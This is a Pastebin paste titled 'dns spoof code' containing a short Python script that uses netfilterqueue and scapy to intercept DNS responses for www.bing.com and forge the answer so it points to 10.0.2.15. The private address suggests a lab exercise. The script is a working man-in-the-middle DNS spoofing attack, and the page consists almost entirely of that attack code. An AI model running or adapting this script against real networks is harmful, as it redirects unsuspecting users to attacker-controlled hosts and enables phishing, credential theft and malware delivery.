Advertisement
Guest User

dns spoof code

a guest
Mar 3rd, 2021
96
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 0.84 KB | None | 0 0
  1. #!/usr/bin/env python
  2. import netfilterqueue
  3. import scapy.all as scapy
  4.  
  5. def process_packet(packet):
  6. scapy_packet = scapy.IP(packet.get_payload())
  7. if scapy_packet.haslayer(scapy.DNSRR):
  8. scapy_packet[scapy.DNSQR].qname
  9. qname = scapy_packet[scapy.DNSQR].qname
  10. if "www.bing.com" in qname:
  11. print("[+] Spoofing target")
  12. answer = scapy.DNSRR(rrname=qname, rdata="10.0.2.15")
  13. scapy_packet[scapy.DNS].an = answer
  14. scapy_packet[scapy.DNS].ancount = 1
  15.  
  16. del scapy_packet[scapy.IP].len
  17. del scapy_packet[scapy.IP].chksum
  18. del scapy_packet[scapy.UDP].chksum
  19. del scapy_packet[scapy.UDP].len
  20.  
  21. packet.set_payload(str(scapy_packet))
  22.  
  23. packet.accept()
  24.  
  25. quene = netfilterqueue.NetfilterQueue()
  26. quene.bind(0, process_packet)
  27. quene.run()
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement